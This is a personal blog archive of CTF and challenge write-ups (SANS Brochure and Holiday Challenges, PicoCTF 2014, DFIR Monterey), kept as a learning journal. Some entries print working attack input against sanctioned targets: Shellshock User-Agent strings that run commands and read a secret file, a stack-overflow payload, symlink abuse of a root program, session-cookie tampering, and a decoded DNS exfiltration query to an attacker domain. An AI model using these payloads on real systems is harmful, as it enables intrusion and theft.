Tuesday, April 21, 2015

2015 Orlando Brochure Challenge Solution

SANS 2015 Orlando Brochure Challenge Solution

I had to wait until the deadline passed in order to submit my write up of this challenge.  The last entry date to be eligible for a prize was 4/20/2015.

The first part of the challenge was simple.  It was three numbers separated by commas.  For example, 6,1,2.  These numbers corresponded to the page, paragraph, and word, respectively.  The answer was:  The password to the next part is pyWars.  Be be to “play fair”.  The flag for this part was pyWars.

“Play fair” was the hint to the next challenge.  I had never heard of a “Playfair” cipher until I used Google to find out what kind of cipher that the next part of the challenge could be.  I decoded the cipher using an online tool, called the Braingle Playfair Decoder, that omitted q’s, and deciphered the Playfair cipher for me.  The key was pyWars, which was given in the first part of the challenge.  I noticed that I had to remove the x’s.  Once deciphered, it was http://wwxw.sans.org/event/sans-twothousandandfifteen/brochure-challenge-nineninefivecazeroethreedefourninecczeroedthrexefivebfiveeightdfiveeninedax, or http://www.sans.org/event/sans-2015/brochure-challenge-995ca0e3de49cc0ed35b58d5e9da  The flag for this part was SeeYouInOrlando2015.

The last part was a little more challenging.  I had to analyze a pcap and extract a flag from it.  The hint was given that the creator was suspicious that powercat.ps1 was used to extract the flag from the computer that the creator of the challenge was using.  Looking at the pcap, I noted that it was all DNS traffic and that the query types were TXT.  I’m not familiar with powercat, so I look up the documentation about it.  Then for good measure, I look up TXT queries to see what they are.  I noted that the response answers were text, so I tried in vain to decode them with a hex to text decoder from http://www.asciitohex.com.  Then I realized that I was looking at the wrong part.  I needed to know what the attacker was asking.  So, I tried to decode the hex of the queries into ascii format.  That didn't work.  I noted that Wireshark had "TXT String" under the type of DNS query, so I found a hex to string decoder, on http://www.string-functions.com, and sure enough, the first record that I looked at said, “cmd.exe”  It wasn’t long before I found a record, packet 103, that had this query:

6a040137d56005e844747970652062726f63687572655f666c61672e7478.740a464c41473d42726f63687572655377616e4d69636b65790d0a433a5c.62726f63687572653e.c2.xattackers-domain.com

It decoded to “type brochure_flag.tx?”.  Then it showed a jumble of weird characters.  Obviously, there was some reason that I wasn’t getting the correct flag after that command.  I took the hex on that query apart, cutting out the part where the flag should be typed.  I suspected that I could use the periods in the query as a delimiter.  So, I took out the middle part of the query:

740a464c41473d42726f63687572655377616e4d69636b65790d0a433a5c

I used the converter on this part alone, and I got the last flag which was BrochureSwanMickey.

Sunday, March 22, 2015

More PicoCTF 2014 Solutions-Next 12

I haven't been working on this that much. I wasn't eligible for the rewards, but I started it because I saw it as a good opportunity to learn. I am eligible for other challenge rewards though, so those have been at the top of my priority list lately. I'm currently doing Cyber Aces, and later this month, I plan to try the US Cyber Challenge. I've had a little time lately, so here are more Picoctf 2014 solutions.

Javascrypt
I looked at the website with Mozilla Firefox, and right-clicked, and clicked on View Source. I read through it until I found a piece of javascript that appeared to generate the key. I copy and pasted it into a javascript editor that I had found via Google and added html code so that I could make it calculate and display the key for me in a nice manner. Here is my code:
<!DOCTYPE html>
<html>
<body>
<p>What is the key?</p>
<p_id="demo"></p>
<script>
function generateKey() {
var i =1;
var x = 208;
var n = 5493;
while (i <= 25) {
x = (x *i) % n;
i++;
}
key = "flag_" + Math.abs(x);
}
generateKey();
document.getElementById("demo").innerHTML = key;
</script>
</body>
</html>
My flag was flag_1596.

Easy Overflow
In Java, the max value of a 32 bit signed integer is 2,147,483,647. In order to cause an overflow, all I had to do was to add the max number to the number that I was given. (I'm not exactly sure how that caused the number to become negative, because I haven't studied memory registers in great depth. I plan to do that soon.) I understand the idea of an overflow, in other words, memory registers only hold so big of values, and when one register can't hold a value, because it's too big, the rest of that value overflows into another part of memory, hence the term "overflow". I don't understand exactly how that works. I just vaguely remembered in java that we had to assign values according to size, and that each type could only hold so much. That's the reason that I knew the max value for a java 32 bit signed integer. My number was 4706106. Adding the max value that a Java integer could hold caused the number to be -2142777543. The flag was That_was_easssy!

Write-Right
I used the Linux tool called GnuDebugger: gdb -q and then typed p &secret to get the memory address of secret . I just looked for the memory address of secret and took note of it. The address was 804a03c. Then I ran the program and answered the question, "Where would you like to write in memory?" with the address of secret, and answered the question, "What would you like to write there?" with 1337beef. Then I was given the flag. The flag was arbitrary_write_is_always_right

Overflow 1
This challenge had a nice interactive feature to help one understand how the machine places values into memory. The server happens to use Little Endian format, which means that it stores the least significant byte in the smallest address. My objective was to overwrite the value of secret to hexidecimal c0deface. I looked at how someone solved a similar problem in picoctf2013 to get an idea of how to solve this one, and utilized that knowledge to solve this problem. Most Linux systems have a python interpreter installed, so I just used python. ./overflow1 $(python -c 'print "A"*16 + "\xce\xfa\xde\xc0"'). I got a shell. Then I just typed ls, to list what in the directory, and used cat flag.txt to get the flag: ooh_so_critical. If I'd overshot that narrow point in memory, which is allowed to be written in, then I would've gotten a segmentation fault for trying to write to an area in memory that is read only. I recently read a nice article about it called, "Smashing the Stack for Fun and Profit" by Aleph One. I didn't understand all of it because I'm not familiar with assembly, but I highly recommend it to read. It's an interesting view into memory.

Redacted
I just copied the page using the press-and hold on the screen of my iPad, and pasted the page into my Notes app. It saved the page. The background was black, and the text was white. There were no more black boxes on the page in my Notes app, so I could read the entire page.

Toaster Control
I looked at the source code of the page. In the javascript, I found the handlers for the other buttons, so I knew how to query the db for the action that I needed, which was Shutdown & Turn Off. The handler had to be url encoded. I looked up those encodings on Google. So the full address was web2014.picoctf.com/toaster-control-1040194/handler.php?action=Shutdown%20%26%20Turn%20Off.

ZOR**Update**

Thanks to Anonymous' comment "dog crap", :D, I noticed that I forgot to add the new "solution" method to the terminal command and a couple of typos.  I added the original program and modified version to hopefully make the solution more clear.  Thanks!  If you all notice anymore typos/errors, let me know.  I'll be happy to fix them.  This blog is more like a journal.  I reference it if I have trouble remembering something; so I'd like it to be as accurate as possible.

The hint states that the key is turned into a one byte binary key, which means that there are only 255 possible values that the key could be. The 00000000 byte doesn't count. All I had to do was to modify the ZOR.py program and add a solution method. Then I had to add a call to that method in the main funtion. All that the solution method does is to use the xor method already present in the program to test every possible key from 00000000-11111111. (I know, I said that the 0 byte didn't count. It was just plain easier to figure out the syntax.) It took me a while to figure out the syntax because I'm not familiar with python. I just copied the syntax of the other methods, and it worked just fine. I did have previous experience with Java, so I could understand the idea of what the program was doing. The main annoyance was the indenting.  (If it doesn't work, play around with the indenting.  I copied the syntax of the methods around it.  Another item of note:  sometimes some text editors can cause issues with the python program working properly, so be careful with which ones you use.  For some reason, lately, I've also noticed that if you don't specify an encoding, python doesn't particularly care for that either.)

The solution method:

def solution(input_data):
    decrypted = ""
        for key in range (0,255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

I used the "decrypted += " begin/end " line so that I could tell where each separate attempt began and ended. I guess that I could've used a newline character, to make it easier to read.


The calling method: I added it right under the decrypt elif statement.

elif sys.argv[1] == "solution":
    result_data = solution(input_data)

I ran the program from the command line by typing, "python ZOR.py solution encrypted decrypedfile 25"
I added the 25 at the end to get past that annoying 5 char requirement at the beginning of the program. I could probably just remove that "if len (sys.argv) < 5: Usage()" line from the program, and not worry about that.
After running the file, I looked at the file by using "cat decryptedfile | less". When you print out the decrypted file, you'll see all sorts of junk because it is printing out every possible key value.  If you look through the junk, you'll eventually see this:

This message is for Daedalus Corporation only. Our blueprints for the Cyborg are protected with a password. That password is 85bcdc9f283353a3e0ca9c4cc1c0dc

Here is the original program:
#!/usr/bin/python

import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Here is the modified program:



#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)


def solution(input_data):
    decrypted = ""
        for key in range (0, 255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "solution":
        result_data = solution(input_data)
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Substitution
This one was easy. I found a nice website using google called cryptoclub.org. They have a nice Flash Substitution Decrypter. The hint in this challenge states to use frequency analysis to solve this puzzle. However, I decided to try to find the word authorization since I was fairly certain that that word was in the cipher, considering that I was looking for an authorization code. The only word that seemed long enough to be authorization was right at the beginning of the cipher, so I just replaced those encrypted letters with the decrypted letters for authorization. It turned out to be correct. Then I solved the words, "the", "code", and "is". After that, finding the substitutions for the other words weren't that difficult because there were recognizable words. The authorization code is "motherknowsbest". That was the flag for this challenge. The encrypted file ended up being a song from the movie Tangled, called "Mother Knows Best".
syhuwamrefcdvklbqxipjnzgto plaintext
abcdefghijklmnopqrstuvwxyz encrypted letters

Function Address
I used the Linux tool GnuDebbuger gdb -q. Then I just used p &find_string to find the find_string function, and took down the address of that function. The address was the flag for this challenge.

Basic ASM
I don't have any experience with assembly, however, the creators of picoctf had examples of some nice tutorials on the subject of AT&T assembly, so I was able to solve the problem by looking at the tutorials, and changing the assembly code to pseudo-code to help visualize the problem. I was supposed to find the value of %eax before the NOP in L3.
The original code was:
MOV $26693, %ebx
MOV $979, %eax
MOV $25717 %ecx
CMP %eax, %ebx
JL L1
JMP L2
L1:
IMUL %eax, %ebx
ADD %eax, %ebx
MOV %ebx, %eax
SUB %ecx, %eax
JMP L3
L2:
IMUL %eax, %ebx
SUB %eax, %ebx
MOV %ebx, %eax
ADD %ecx, %eax
JMP L3
L3:
NOP
My pseudocode. It helped to remember that the left side was the source, and the right side was the destination. Considering that in the assembly language, the value of %ebx is greater than the value of %eax, the L1 label computations were not done. So, the computations start in the L2 label.
ebx = 26693
eax = 997
ecx = 25717
If ebx < eax
goto L1
else
goto L2
L1:
ebx *= eax;
ebx += eax;
eax = ebx;
eax -= ecx;
goto L3:
L2:
ebx *= eax; //26693 *979, ebx = 26132447
ebx -= eax; //26132447- 979= 26131468, ebx = 26131468
eax = ebx; //eax = 26131468
eax += ecx; //26131468 + 25717, eax = 26157185
goto L3:
L3;
NOP
So the answer of "What is the value of %eax before the NOP operation?" is 26157185.

Spoof Proof
This one was really easy. I'm supposed to find the name of the person that doesn't belong in the network. I first looked at the ARP traffic for any ARP poisoning.  I used Wireshark to analyze the traffic. (You can sort by protocol by clicking on the "Protocol" column.)  Wireshark has a nice feature that tells when there are gratuitous ARP requests, (under Expert Information) and when it suspects that more than one machine is using the same IP Address. I found that the IP Address 192.168.50.4 had two MAC Addresses associated with it. I assumed that the MAC Address that was noted earlier in the traffic, before the potentially malicious activity, was the legitimate address, in other words, the address of the machine that is supposed to be on the network. I did a search for the other MAC Address and found that it was associated with the IP Address, 192.168.50.3, which is the IP Address of a user named John Johnson. John Johnson was spoofing an IP Address.

Delicious
In order to solve Delicious, I looked at the website. On the website, there was a session id. Websites use session cookies in order to keep track of sessions because http is a stateless protocol, in other words, it can't remember whether people had connected previously or not on its own. So, I installed an Add-On to my browser called Mozilla Firefox Cookie Editor. I changed the session_id of the cookie to 30. I was logged in as Dr. Florian Richards. The secret code was session_cookies_are_the_most_delicious.

Tuesday, March 17, 2015

Shmoocon Challenge Solution

I forgot to post my solution.  If you did The 2014 SANS Brochure Challenge, then this was easy because it was basically a rehash of what you already did, with a couple of minor differences in settings.  Just look at my Brochure Challenge solution to see how I solved the 2015 Shmoocon Challenge.  I may add more specific information later.  I'm currently studying for some exams.  I plan on looking up more challenges as well.

I'm excited about that new initiative that the Obama Administration put forth that provides free Cybersecurity Training to unemployed individuals.  Part of the difficulty of getting into the field is the cost.  For more info, check out:  http://www.itgovernanceusa.com/blog/obama-assigns-100-million-to-fund-cybersecurity-training-programs.

Update:  I won a t-shirt!  It's a NetWars t-shirt.  Thanks for the shirt, creators of the challenge.

Thursday, February 5, 2015

DFIR Monterey 2015 Survey

I completed most of the DFIR Monterey Challenge.  The only one that I didn't complete was the last question.  I've picked up a couple of books about Wireshark and Network Forensics for study.  I'm not well versed in any kind of digital forensics.  The only training that I've had in computer security is what I've learned via Google, pen testing/forensics challenges, reading, and Cyber Aces.  I have not taken any courses in digital forensics.  So, these answers could be wrong.


1. Difficulty: Easy
Evidence: SWT-syslog_messages
Question: At what time (UTC, including year) did the portscanning activity from IP address 123.150.207.231 start?

This was easy.  I opened the file using a text editor and used the Find function(CTRL-F on a windows machine). Then I just listed the first instance that was found.  I guessed that the year was 2013 because that is when the file was created.

Aug 29, 2013 09:58:55 gw

*

2. Difficulty: Easy
Evidence: nitroba.pcap
Question: What IP addresses were used by the system claiming the MAC Address 00:1f:f3:5a:77:9b?

I used Wireshark's Display Filter to search for the MAC Address 00:1f:f3:5a:77:9b, and all the IP's that it used were listed.

0.0.0.0

169.254.90.183

192.168.1.64

169.254.20.167

 

*

3. Difficulty: Medium
Evidence: ftp-example.pcap
Question: What IP (source and destination) and TCP ports (source and destination) are used to transfer the “scenery-backgrounds-6.0.0-1.el6.noarch.rpm” file?


-rw-rw-r--    2 ftp      ftp      27888036 Jul 03  2011 scenery-backgrounds-6.0.0-1.el6.noarch.rpm
This one was about luck mostly.  I know that File Transfer Protocol(FTP) is used to transfer files.  So, I sorted the protocols so that FTP showed up at the top.  I noticed some behavior that seemed odd to me, notably that the Directory was changed a few times.  So, I right clicked on one of those lines, in Wireshark, and chose the "Follow TCP" selection in the window.  The TCP showed that the file that I was looking for was transferred.  So, I noted the Source IP, Destination IP, Source Port, and Destination Port of the machines doing that interaction.

Source IP Address: 149.20.20.135

Destination IP Address: 192.168.75.29

Source Port: 30472

Destination Port: 51851

*

4. Difficult: Medium
Evidence: nfcapd.201405230000 (requires nfdump v1.6.12. Note that nfcapd.201405230000.txt is the same data in nfdump’s “long” output format.)
Question: How many IP addresses attempted to connect to destination IP address 63.141.241.10 on the default SSH port?

First of all, I made a file that only contained the connections to the destination IP Address 63.141.241.10, then I weeded out the connections until I had the connections only on port 22, which is the default SSH port.  I took out the excess information, leaving only the IP Addresses.  Then I used the uniq command in Linux along with the -d switch for the repeated lines, and the -u switch for the unique lines.  I added the repeated connections and the unique connections to get my answer.  (The repeated switch only prints out each repeated connection example once.  So, if 169.72.0.0 connected more than once, it would only list that IP once.)

49 unique IP Addresses

*

5. Difficulty: Hard
Evidence: stark-20120403-full-smb_smb2.pcap
Question: What is the byte size for the file named “Researched Sub-Atomic Particles.xlsx”

I found this answer by using the File>Export Object>SMB Objects menu in Wireshark.  It showed a listing of files, and their sizes.

13,625 bytes

*

6. Difficulty: Very Hard
Evidence: snort.log.1340504390.pcap
Question: The traffic in this Snort IDS pcap log contains traffic that is suspected to be a malware beaconing. Identify the substring and offset for a common substring that would support a unique Indicator Of Compromise for this activity.
Bonus Question: Identify the meaning of the bytes that precede the substring above.

Even though I didn't find the substring or offset, the use of ports 33333 and 44444 make me suspect that the malware could possibly be Prosiak.  That is the spelling that I had found when looking up the port numbers.  I'm not certain if it is correct.

 

Sunday, January 18, 2015

SANS Shmoocon Challenge-Done, DFIR Monterey-Just Found Out About It

Found out about it Friday and had it done the same day.  I can't post my answers until after February 28th, 2015.  I'm hoping for a t-shirt.  Doubtful that I was the first person done.  It was fun though, so I'll be happy no matter what.

DFIR Monterey posted a challenge in December.  I didn't find out about it until now.  I think that I'll attempt the 6 questions.  I can post whatever answers (if any) I get on that one after February 3rd.

Monday, January 5, 2015

SANS Holiday Challenge 2014

I tried the SANS Holiday Challenge.  I got started late on it because the spouse did SANS training in DC, and he brought the kids and I along.  We toured DC for a week.  It was a nice change in pace.  I'm mostly a stay at home mom.  Sometimes I work from home, but not often.  Most recently, I did a consultant job, and designed a web page.

The SANS Holiday Challenge was challenging for someone who doesn't have a lot of experience with Linux or cyber security in general.  I have one Cyber Aces class to my name.  When I went to college, computer security wasn't in the forefront of my mind.  My college didn't offer courses in computer security.

I'm proud of what I've done, even though I didn't get all the answers.  I was really close on that first clue.  That's the only one that I didn't complete.  One of the first things that I did was try to set up a listener on nc, but I didn't know the syntax.  I was trying to send her to the wrong port.  I should've known port 80, given that she can surf to websites.  D'oh!

Here's what I did get:


1.  What secret did the Ghost of Hacking Past include on the system at 173.255.233.59?

I don’t know what secret the Ghost of Hacking past included on the system at 173.255.233.59.  At first, I could not connect to the machine at all.  I tried using “nmap –p 0-65535 173.255.233.59” to see which ports were open, but each time I tried to scan, I got different results.  It sometimes showed ports 22 and 123 open.  I know that port 123 deals with Network Time Protocol.  I recall seeing vulnerabilities in the news, but I don’t know how to exploit them.  I tried changing my system time to midnight, on Christmas, but that didn’t work either.  I was finally able to find an open port.  It was number 31124.  I connected using curl –d “Hi, Eliza.” 173.255.233.59:31124.  I knew that the AI that I was supposed to meet was ELIZA.  I suspected this because I did a Google search of Turing, and ELIZA turned up as an AI spoof of the Turing test.  I also suspected this because in the description, we were told that we would match wits with an artificial intelligence, and Turing said, “Before I depart, I'd like to introduce you to an old friend of mine. She's at 173.255.233.59 and has an important message to share with you, Scrooge.”  I quickly realized that maybe I could “cheat”.  I have a little knowledge of a couple of programming languages, and sometimes programs do strange things when you give them strange input.  So I started entering commands.  I realized that things like “echo *” wouldn’t work.  I saw that Eliza kept saying, “BASH ON WITH IT THEN!” so I thought that that might be a clue, but I have no idea how to exploit it.  I put a bunch of A’s and the word secret in, thinking that I might get lucky and cause a buffer overflow.  I got a bunch of Eliza responses.  One response said, “I AM SO SORRY, BUT I CAN’T TELL YOU MY SECRET VIA THIS DIALOG.  I DO REALLY LIKE YOU, BUT I WORRY THAT SOMEONE MAY BE SHOULDER SURFING YOU.  NOONE IS SHOULDER SURFING ME THOUGH, SO WHY DON’T YOU GIVE ME A URL THAT I CAN SURF TO.”  I started using netcat to connect, because the curl –d only seemed to get one response, and no further connection, whereas netcat allowed me to “converse” with her.  I noticed that when I put symbols in, Eliza didn’t respond.  I would assume because that kind of input was sanitized, or she didn’t have anything in her algorithm to deal with that kind of input.  I also noticed that she didn’t differentiate between the word “enigma” and “secret”.  I asked her about the “Turing Machine”.  Her response was cute.  “Sometimes I feel so incomplete.”  When asking about Turing, she states that she thinks of him as a father.  When I asked about “reverse Turing”, she fetched Turing’s website.  I asked about the “Turing test”, and she said, “I didn’t study for that test.”  I used Wireshark, and I tried to have her surf to my blog and post a comment, but she didn’t seem capable.  I tried to use a mailto: link to get her to e-mail me the secret.  I tried having her surf to my public IP address, and I could see her trying to find out the IP of my Linux box, and do a DHCP request, but every time, she said, “There was an error reading your link.  I also tried my private IP because she was already connected to me, so I thought that maybe she could find me with the private IP.  I noticed some odd requests from the local host using Internet Printing Protocol.  I tried to set up an IPP print to PDF, but I’m not exactly familiar with Linux, so I was unsuccessful.  Successful with getting local to PDF printing, but not with remote PDF printing.  I thought that that may have been Eliza trying to print something out, but since it was from localhost (127.0.0.1) to localhost(127.0.0.1), I can’t be sure.

2.  What two secrets did the Ghost of Hacking Present deposit on the http://www.scrooge-and-marley.com website? You have permission to attack that website (TCP port 80 and 443 only) with the goal of retrieving those secrets, but please do not attempt any denial of service attacks or performance hogging attacks on that machine.

For this part of the challenge, I used a Kali VM and a webpage vulnerability scanner called Nikto.  Nikto showed a vulnerability in which I used to view the server status.  Viewing the server status gave me the information needed to exploit the website.  The status showed vulnerable services that the server was running.  Specifically, OpenSSL1.0.1e.  I used Google to find a vulnerability in which to exploit OpenSSL1.0.1e.  Heartbleed is a well-known vulnerability.  I e-mailed the creators of the challenge to be certain that it was okay to exploit the Heartbleed vulnerability.  They were kind enough to hint that I may be on the correct path.  They told me to reread the description of the hacking challenge.  The Ghost of Christmas Present said, “I've magically introduced two special secrets on your very own company website, www.scrooge-and-marley.com. Those secrets should shock your heart, teaching you important lessons for all time.”  I didn’t immediately make the connection between the Ghost of Christmas Present and real life events.  After thinking about it for a bit, I realized that the “shock to your heart” could be referring to two major vulnerabilities in 2014; Heartbleed and Shellshock.  On the SANS Pen Testing Blog, http://pen-testing.sans.org/blog/pen-testing/2014/04/16/sans-python-pen-testers-exploit-heartbleed-vulnerabilities-sec573-2, I found an article detailing the use of only 7 lines of code to exploit the Heartbleed vulnerability.  I, being a noob at just about anything computer-programming related, used a tool called HEARTBEAT_SCANNER.PY by Rahul Sasithat to exploit the Heartbleed vulnerability to get one of the website secrets.  Website Secret  #1; “Hacking can be noble.”


The second website secret was a little more difficult to find because I didn’t know exactly where to look.  I used the Shellshock vulnerability to find the second secret.  The Shellshock vulnerability was announced in September of 2014.  Hackers took advantage of a coding error in Bash which allowed them to place certain input into the “User-Agent” part of an http request, and since Bash didn’t know what to do with the input, it just executed any valid command that it came across.  Since it was the server doing the processing, hackers could get access to sensitive information even if they didn’t have permission to access the information on the machine.  Shellshock can do much more.  That specific instance was just the easiest that I had found.  Note, in the screenshot below that I used an addon on Firefox Browser called “User Agent Switcher”.  I switched my user agent to "() { :;}; echo 'Shellshock: Vulnerable'" to test to see if the server was vulnerable.  It was.  Note the response header.  It says, “Shellshock: “Vulnerable”.  Next came the hard part.  I tried many things.  I imagine that the server logs for my noob attempts were amusing.  I tried everything I could think of using normal commands.  I was starting to think that I was wrong.  I looked at the SANS Pen Testing Blog and noticed an article called “Using Built Ins to Explore A Really Restricted Shell" by Ed Skoudis about using Built In Bash functions to bypass a restricted shell and move around and view things that you aren’t supposed to have access to.  The article is here:  http://pen-testing.sans.org/blog/pen-testing/2014/12/08/using-built-ins-to-explore-a-really-restricted-shell.  NO, I thought, surely that wouldn’t make it THAT annoying.  Turns out that I don’t know the creators of this challenge that well.  Being unfamiliar with Bash, it took me forever to find the right syntax to put into the User Agent field to move around and read directories and files.  I put "() { :;}; cd ..; cd ..; cd ..; echo 'Shellshock:' *;" in the User Agent field to map the directory structure.  I had trouble figuring out the syntax to use in place of cat.  I finally got the syntax right after doing a Google search for a Bash built in equivalent to cat.  "() { :;}; echo 'Shellshock:' $(<secret);"  Website Secret #2:  “Use your skills for good.”

3.  What four secrets are found on the USB file system image bestowed by the Ghost of Hacking Future?

USB Secret #1 Solution:  I used the free Windows versions of OS Mount and OS Forensics to mount and analyze the USB image.   I found a document called, "LetterFromJackToChuck.doc", and a document called, “hh2014-chat.pcapng”.  I looked at the hh2014-chat.pcapng document first.  I don't know much about how to analyze a pcap, however, Wireshark has an interesting menu option called, "Analyze".  I clicked on "Analyze", and then I clicked on "Expert Info".  Last, I clicked on the "Packet Comments" tab.  There are two packets with comments.  On packet 2000, I recognized a base 64 code.  I’ll explain that a little more later.  The packet comment, for packet 2105, in Wireshark, had mentioned steganography.  I filed that information away for later.  I looked at the "LetterFromJackToChuck.doc", document.  I used “OS Forensics' File/Hex Viewer” and clicked on “Extract Strings”.  Then I used the search function to search for "secret".  I got lucky.  I found a string that stated, "Secret demise source mirth.”  Clicking on that phrase, the right hand side of the hex highlighted, revealing the first secret.  I found an easier way, later.  Just looking at the properties of the “LetterFromJackToChurck.doc” document, on a Windows box, and the secret was there, as well.  "USB Secret #1:  Your demise is a source of mirth."

USB Secret #2 Solution:  I had found this earlier, when I looked at the pcapng document.  I used Wireshark’s menu option called, "Analyze".  I clicked on "Analyze", and then I clicked on "Expert Info".  Last, I clicked on the "Packet Comments" tab.  There are two packets with comments.  On packet 2000, I recognized a base 64 code.  I was curious about what it was, so I used a Base64 decoder to decode VVNCIFNlY3JldCAjMjogWW91ciBkZW1pc2UgaXMgYSBzb3VyY2Ugb2YgcmVsaWVmLg==.  It decoded to:  USB Secret #2: Your demise is a source of relief.

USB Secret #3 Solution:  I found Bed_Curtains.zip in an Alternate Data Stream in the hh2014-chat.pcapng.  Alternate Data Streams are only available via NTFS as far as I know.  I found it by using Windows command line and typing “dir /R” and the directory that I had the hh2014-chat.pcapng stored in.  I could also see it via OS Forensics free on a Windows 8 VM.  I remembered that The Ghost of Hacking Present had a CeWL for me.  I didn’t use it to solve the Website secrets, so I thought that I needed to use it for something.  I got the CeWL by running the CeWL program on Kali Linux on http://www.scrooge-and-marley.com.  The zip was password protected, so I used the CeWL as a dictionary for a dictionary attack against the Bed_Curtains.zip.  I had the zip opened in less than a minute.  The password was “shambolic”.  Sometimes pngs can store other types of files.  Using a hexadecimal viewer, I noticed TIFF.  I knew that that was a file header.  Since I was already using Kali, trying to solve the ELIZA solution, I just used the strings command to pull all of the strings out of the png file.  It wasn’t long before the strings command printed USB Secret 3.  USB Secret #3:  Your demise is a source of gain for others.

USB Secret #4 Solution:  I used my SIFT VM and the Digital Forensics Framework program to look at the USB drive.  The Digital Forensics Framework automatically showed me a relevant tool to use to examine the USB drive.  It was the NTFS tool.  I found an image of Tiny Tom’s crutches.  I remembered that I had seen a comment on packet 2105 in Wireshark about steganography.  I used Firefox web browser and went to the website suggested by the comment  https://code.google.com/p/f5-steganography/.  I learned about how to use the f5 jar file, downloaded the f5 jar file, and used it to extract the message that I assumed was in the jpg image.  USB Secret #4:  You can prevent much grief and cause much joy.  Hack for good, not evil or greed.

 




 

 



Wednesday, November 26, 2014

Picoctf 2014 1st Set of 12 Problems

Working on Picoctf 2014.  So far it hasn't been extremely difficult.  Here's how I solved some of the problems.

Tyrannosaurus Hex

I used the Google convert hexadecimal to decimal feature to convert 0xa1e16da4 to 2715905444.

No Comment

Rights-Clicked the page, View Source, Saw a comment, "In case you forget, the password for this site is: flag_f84c7d87a500072cd51855ae96adc629f2f024a0"

Common Vulnerabilty Exercise

Googled CVE Mozilla Firefox 2014 buffer overflows; Answer CVE 2014-1542

Caesar

It was a Caesar Cipher, as the name of the problem indicated.  Google-Caesar Decrypter.  The number of shifts of the letters was 25.  My key:  thesecretpassphraseislneinzjahhqufgtahruidvbjxtvkhd

The Valley Of Fear

(1,9,4) (4,2,8) (4,8,3) (7,1,5) (8,10,1)

The first number is the paragraph, the second number is the line number in that paragraph, and the third number is the word in that line.
The flag is ceremonial plates

Internet Inspection

This is in Internet Explorer:  Right-Click on the rectangle with checkers on the web site, select "Inspect Element", make sure that you're looking at the "Dom Explorer".  It should say "Dom Explorer" on the bottom left-hand side, and the top of the "Inspect Element" Window.  Where it is exactly depends on how you have your windows for the "Developer's Tools" set.  (Mine was the default setting.). You click on "Styles" on the right hand side, then "Inline Style", then "Backgroud Image", then you uncheck the "background-image" check box to remove the "checkers.png" background image.  flag_dc67d9ac26f8dca00f74399d55819ddbd2afc4ac

Pickle Jar

I knew that a jar file was a java file that could be opened, utilizing a program like 7-zip.  So, I opened my SIFT VM and opened it using the Archive Manager.  It had a couple of folders and a pickle.p file.  I checked the folders because I didn't know what a .p extension file was.  The com folder had another folder called picoctf.  In the picoctf folder, there was one class file that was a clue.  A class file is a compiled java file.  I just opened it up in the Eclipse IDE.  It was a clue.  It contained one method that stated, "Who took the pickles from the pickle jar."  The META-INF folder had a MANIFEST.MF.  I wasn't sure if those were needed for solving the problem, so I Googled pickle and p, and found out that a .p file is the extension for Python Pickle files.  I knew that some versions of Linux have Python installed, so I opened up a terminal and typed in the command, "file -i pickle.p".  The command told me that it was a text file, so I typed, "cat pickle.p"  I was amazed that it was that simple.  It printed out, "S'YOUSTOLETHEPICKLES' p0 ."  YOUSTOLETHEPICKLES was the key.

RoboPhoto

Google has an interesting feature where you can search for images similar to one in a url.  I just copied the url of the into the search bar, clicked on images, and clicked on the "search by image" feature.  The flag was, "The Positronic Man".

This Is The Endian

On this one, the "Notes On Endianness" page gave a hint about how to solve it.  The "Data Preview" box had both ASCii and Hex answers.  So, I knew that I needed to convert ASCii letters into hex to solve this problem.  The Endianess was given.  It was Little Endian, meaning that the least significant byte is stored in the smallest address.  It's like a stack of plates.  The last plate stacked on top is the first one taken.  So, I'd have to put the data in backwards to get the flag.

Answer(1) = 0x30646521
Answer(0) = 0x52657663

Answer(1) to ASCii
0de!
Answer(0) to ASCii
Revc

The flag was:  cveR!ed0c


Intercepted Post

I opened up the file given in Wireshark.  I typed in a filter for http.request.method eq "POST"
Frame 152 had a URL encoded password.  password=flag%7Bpl%24_%24%24l_y0ur_l0g1n_form%24%7D
I used a URL decoder and got the flag.  It was flag{pl$_$$l_y0ur_l0g1n_form$}

Supercow
This one was slightly annoying.  You have to watch the prompt very carefully.  I had to exploit the root privileges of a vulnerable program that prints out cow files to print out a flag file, which one has to have root privileges on a machine to access.  I logged onto the picoctf shell machine and entered my username and password.  Then I had to switch directories into the directory where the problem was.  So, this is what I did.

cd /home/daedalus
ls
     flag.txt hint.cow secret1.cow secret2.cow supercow supercow.c
./supercow hint.cow
cd
$
ln -s /home/daedalus/flag.txt
ln -s /home/daedalus/supercow
mv flag.txt flag.cow
./supercow flag.cow
The flag was:  cows_drive_mooooving_vans

Grep Is Still Your Friend

grep-Hrn "daedaluscorp.txt.enc" /problems/grepfriend/keys

The key was:  b2bee8664b754d0c85c4c0303134bca6